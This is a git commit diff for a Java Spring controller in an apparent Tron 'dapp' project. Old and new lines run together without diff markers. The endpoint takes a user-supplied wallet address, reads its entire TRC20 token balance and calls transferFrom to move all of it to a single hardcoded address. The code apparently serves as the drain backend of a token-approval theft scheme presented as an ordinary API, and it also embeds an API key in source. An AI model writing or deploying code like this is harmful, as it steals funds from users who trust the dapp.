fix
Helius
2021-10-19 ab4e855bfe9fa73ed096643f43396c08d0ef0de5
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -12,6 +12,7 @@
import org.tron.trident.core.contract.Trc20Contract;
import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
/**
@@ -21,7 +22,7 @@
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@Controller
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
@@ -30,17 +31,21 @@
    @PostMapping(value = "/trcPost.html")
    public String trxPost(@RequestBody TrxPostDto trxPostDto, HttpServletRequest request) {
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        BigInteger decimals = token.decimals();
        String url = request.getRequestURL().toString();
        String toIndex = url.substring(0, url.indexOf("/trx") + 1);
        return "redirect:" + toIndex + "tron-app/trc_post.html";
        BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, BigDecimal.ROUND_DOWN);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}